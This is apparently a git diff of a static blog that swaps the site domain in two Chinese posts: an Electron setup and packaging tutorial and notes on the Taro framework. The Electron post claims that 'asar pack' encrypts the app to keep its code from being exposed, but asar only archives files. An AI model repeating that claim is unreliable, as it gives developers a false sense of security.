mainWindow.loadFile('index.html') // 指定窗口加载那个页面\rmainWindow.on('closed',()=\u003e{\rmainWindow = null\r// 监听销毁事件，事件触发关闭主窗口，设置为null\r})\r})\r初始化\nnpm init –yes\n启动项目\nelectron .\n安装打包应用依赖\nnpm install electron-packager –save-dev\n修改package.json文件\n“packager”: “electron-packager ./ halloword –platform=all –out=./App”\n./是项目路径，hallword是项目名字，–platform=all是构建x86和x64构架，也可以指定win32或者win64\n–out=./App是打包应用到哪个文件夹中\n启动打包应用\nnpm run-script packager\n加密app文件夹，避免程序暴露\n安装asar\nnpm install asar -g\n在项目中安装\nnpm install asar –save-dev\n启动加密\nasar pack ./app app.asar\n","wordCount":"108","inLanguage":"en","datePublished":"2021-08-25T12:00:00Z","dateModified":"2021-08-25T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/91/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单利用Electron框架开发桌面端应用</h1><div class=post-meta><span title='2021-08-25 12:00:00 +0000 UTC'>2021-08-25</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e5%88%a9%e7%94%a8Electron%e6%a1%86%e6%9e%b6%e5%bc%80%e5%8f%91%e6%a1%8c%e9%9d%a2%e7%ab%af%e5%ba%94%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用</p><p>GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能</p><p>Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟</p><p>但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m</p><p>安装Electron</p><p>npm install electron &ndash;save-dev</p><p>全局安装</p><p>npm install -g electron</p><p>新建项目，并且在该目录下建立index.html文件和main.js</p><p>mian.js是Electron应用的配置文件</p><p>导入electron模块</p><p>var electron = require(&rsquo;electron')</p><p>创建Electron引用</p><p>var app = electron.app</p><p>创建窗口引用</p><p>var BrowserWindow = electron.BrowserWindow</p><p>声明主窗口</p><p>var mainWindow = null</p><p>设置参数</p><pre><code>app.on('ready',()=&gt;{
-    mainWindow = new BrowserWindow({
-        // 设置窗口大小
-        width:500,
-        height:500,
-        webPreferences:{
-            nodeIntegration: true
-            // 是否集成node
-        }
-    })   
-    mainWindow.loadFile('index.html')  // 指定窗口加载那个页面
-    mainWindow.on('closed',()=&gt;{
-        mainWindow = null
-        // 监听销毁事件，事件触发关闭主窗口，设置为null
-    })
-})
-</code></pre><p>初始化</p><p>npm init &ndash;yes</p><p>启动项目</p><p>electron .</p><p>安装打包应用依赖</p><p>npm install electron-packager &ndash;save-dev</p><p>修改package.json文件</p><p>&ldquo;packager&rdquo;: &ldquo;electron-packager ./ halloword &ndash;platform=all &ndash;out=./App&rdquo;</p><p>./是项目路径，hallword是项目名字，&ndash;platform=all是构建x86和x64构架，也可以指定win32或者win64</p><p>&ndash;out=./App是打包应用到哪个文件夹中</p><p>启动打包应用</p><p>npm run-script packager</p><p>加密app文件夹，避免程序暴露</p><p>安装asar</p><p>npm install asar -g</p><p>在项目中安装</p><p>npm install asar &ndash;save-dev</p><p>启动加密</p><p>asar pack ./app app.asar</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/electron/>Electron</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/92/><span class=title>« Prev</span><br><span>Taro脚手架学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/88/><span class=title>Next »</span><br><span>Markdown基础语法笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+app.on('ready',()=>{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=>{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
+npm init &ndash;yes"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单利用Electron框架开发桌面端应用","item":"https://chenjunlinabc.github.io/posts/91/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单利用Electron框架开发桌面端应用","name":"简单利用Electron框架开发桌面端应用","description":"Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用\nGUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能\nVisual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟\n但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m\n安装Electron\nnpm install electron \u0026ndash;save-dev\n全局安装\nnpm install -g electron\n新建项目，并且在该目录下建立index.html文件和main.js\nmian.js是Electron应用的配置文件\n导入electron模块\nvar electron = require(\u0026rsquo;electron')\n创建Electron引用\nvar app = electron.app\n创建窗口引用\nvar BrowserWindow = electron.BrowserWindow\n声明主窗口\nvar mainWindow = null\n设置参数\napp.on('ready',()=\u0026gt;{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=\u0026gt;{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化\nnpm init \u0026ndash;yes","keywords":["Electron"],"articleBody":"Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用\nGUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能\nVisual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟\n但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m\n安装Electron\nnpm install electron –save-dev\n全局安装\nnpm install -g electron\n新建项目，并且在该目录下建立index.html文件和main.js\nmian.js是Electron应用的配置文件\n导入electron模块\nvar electron = require(’electron')\n创建Electron引用\nvar app = electron.app\n创建窗口引用\nvar BrowserWindow = electron.BrowserWindow\n声明主窗口\nvar mainWindow = null\n设置参数\napp.on('ready',()=\u003e{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=\u003e{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化\nnpm init –yes\n启动项目\nelectron .\n安装打包应用依赖\nnpm install electron-packager –save-dev\n修改package.json文件\n“packager”: “electron-packager ./ halloword –platform=all –out=./App”\n./是项目路径，hallword是项目名字，–platform=all是构建x86和x64构架，也可以指定win32或者win64\n–out=./App是打包应用到哪个文件夹中\n启动打包应用\nnpm run-script packager\n加密app文件夹，避免程序暴露\n安装asar\nnpm install asar -g\n在项目中安装\nnpm install asar –save-dev\n启动加密\nasar pack ./app app.asar\n","wordCount":"108","inLanguage":"en","datePublished":"2021-08-25T12:00:00Z","dateModified":"2021-08-25T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/91/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单利用Electron框架开发桌面端应用</h1><div class=post-meta><span title='2021-08-25 12:00:00 +0000 UTC'>2021-08-25</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e5%88%a9%e7%94%a8Electron%e6%a1%86%e6%9e%b6%e5%bc%80%e5%8f%91%e6%a1%8c%e9%9d%a2%e7%ab%af%e5%ba%94%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用</p><p>GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能</p><p>Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟</p><p>但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m</p><p>安装Electron</p><p>npm install electron &ndash;save-dev</p><p>全局安装</p><p>npm install -g electron</p><p>新建项目，并且在该目录下建立index.html文件和main.js</p><p>mian.js是Electron应用的配置文件</p><p>导入electron模块</p><p>var electron = require(&rsquo;electron')</p><p>创建Electron引用</p><p>var app = electron.app</p><p>创建窗口引用</p><p>var BrowserWindow = electron.BrowserWindow</p><p>声明主窗口</p><p>var mainWindow = null</p><p>设置参数</p><pre><code>app.on('ready',()=&gt;{
+    mainWindow = new BrowserWindow({
+        // 设置窗口大小
+        width:500,
+        height:500,
+        webPreferences:{
+            nodeIntegration: true
+            // 是否集成node
+        }
+    })   
+    mainWindow.loadFile('index.html')  // 指定窗口加载那个页面
+    mainWindow.on('closed',()=&gt;{
+        mainWindow = null
+        // 监听销毁事件，事件触发关闭主窗口，设置为null
+    })
+})
+</code></pre><p>初始化</p><p>npm init &ndash;yes</p><p>启动项目</p><p>electron .</p><p>安装打包应用依赖</p><p>npm install electron-packager &ndash;save-dev</p><p>修改package.json文件</p><p>&ldquo;packager&rdquo;: &ldquo;electron-packager ./ halloword &ndash;platform=all &ndash;out=./App&rdquo;</p><p>./是项目路径，hallword是项目名字，&ndash;platform=all是构建x86和x64构架，也可以指定win32或者win64</p><p>&ndash;out=./App是打包应用到哪个文件夹中</p><p>启动打包应用</p><p>npm run-script packager</p><p>加密app文件夹，避免程序暴露</p><p>安装asar</p><p>npm install asar -g</p><p>在项目中安装</p><p>npm install asar &ndash;save-dev</p><p>启动加密</p><p>asar pack ./app app.asar</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/electron/>Electron</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/92/><span class=title>« Prev</span><br><span>Taro脚手架学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/88/><span class=title>Next »</span><br><span>Markdown基础语法笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/92/index.html b/posts/92/index.html
index 6d4a8b34..acc49945 100644
--- a/posts/92/index.html
+++ b/posts/92/index.html
@@ -23,8 +23,8 @@
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from '@tarojs/taro'
import { View, Text } from '@tarojs/components'
import './index.less'
function Main(){
const [count ,setUserName] = useState(&#34;hallo word&#34;)
return ( <View>
<Text>{count}</Text>
</View>
)
}
export default Main
子组件"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/92/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Taro框架学习笔记"><meta property="og:description" content="Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
+import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(&#34;hallo word&#34;) return ( <View> <Text>{count}</Text> </View> ) } export default Main 子组件"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/92/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Taro框架学习笔记"><meta property="og:description" content="Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
 Taro官方组件库：https://taro-ui.jd.com/
@@ -49,7 +49,7 @@
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from '@tarojs/taro'
import { View, Text } from '@tarojs/components'
import './index.less'
function Main(){
const [count ,setUserName] = useState(&#34;hallo word&#34;)
return ( <View>
<Text>{count}</Text>
</View>
)
}
export default Main
子组件"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/92/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-31T12:15:00+00:00"><meta property="article:modified_time" content="2021-08-31T12:15:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Taro框架学习笔记"><meta name=twitter:description content="Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
+import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(&#34;hallo word&#34;) return ( <View> <Text>{count}</Text> </View> ) } export default Main 子组件"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/92/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-31T12:15:00+00:00"><meta property="article:modified_time" content="2021-08-31T12:15:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Taro框架学习笔记"><meta name=twitter:description content="Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
 Taro官方组件库：https://taro-ui.jd.com/
@@ -74,274 +74,274 @@
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from '@tarojs/taro'
import { View, Text } from '@tarojs/components'
import './index.less'
function Main(){
const [count ,setUserName] = useState(&#34;hallo word&#34;)
return ( <View>
<Text>{count}</Text>
</View>
)
}
export default Main
子组件"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Taro框架学习笔记","item":"https://xiaochenabc123.github.io/posts/92/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Taro框架学习笔记","name":"Taro框架学习笔记","description":"Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro官方组件库：https://taro-ui.jd.com/\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\nTaro 1.2支持将已有的微信小程序进行转换，只需要在项目根目录运行taro convert命令就可以在将现有的小程序项目转换到taroConvert目录下，转换成jsx代码，并且可以直接使用这个代码来进行taro build来编译成taro支持的平台应用\n安装Taro框架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级框架\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n支付宝小程序 yarn dev:alipay\n百度小程序 yarn dev:swan\nReactNative yarn dev:rn\n编译完成的端源码在dist目录下\n作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro'\rimport { View, Text } from '@tarojs/components'\rimport './index.less'\rfunction Main(){\rconst [count ,setUserName] = useState(\u0026quot;hallo word\u0026quot;)\rreturn ( \u0026lt;View\u0026gt;\r\u0026lt;Text\u0026gt;{count}\u0026lt;/Text\u0026gt;\r\u0026lt;/View\u0026gt;\r)\r}\rexport default Main\r子组件","keywords":["Taro"],"articleBody":"Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro官方组件库：https://taro-ui.jd.com/\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\nTaro 1.2支持将已有的微信小程序进行转换，只需要在项目根目录运行taro convert命令就可以在将现有的小程序项目转换到taroConvert目录下，转换成jsx代码，并且可以直接使用这个代码来进行taro build来编译成taro支持的平台应用\n安装Taro框架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级框架\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n支付宝小程序 yarn dev:alipay\n百度小程序 yarn dev:swan\nReactNative yarn dev:rn\n编译完成的端源码在dist目录下\n作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro'\rimport { View, Text } from '@tarojs/components'\rimport './index.less'\rfunction Main(){\rconst [count ,setUserName] = useState(\"hallo word\")\rreturn ( {count}\r)\r}\rexport default Main\r子组件\nimport { View, Text } from '@tarojs/components'\rfunction Data(){\rreturn ( hallo word\r)\r}\rexport default Data\r如果使用类组件的话，需要导入Component基础类，并且类组件需要继承该基础类，例如：\nimport Taro, { Component } from '@tarojs/taro'\rclass Data extends Component{\rconfig = {\rnavigationBarTitleText: 'hallo word'\r}\rrender(){\rreturn ( hallo word\r)\r}\r}\rexport default Data\r导入\nimport Data from 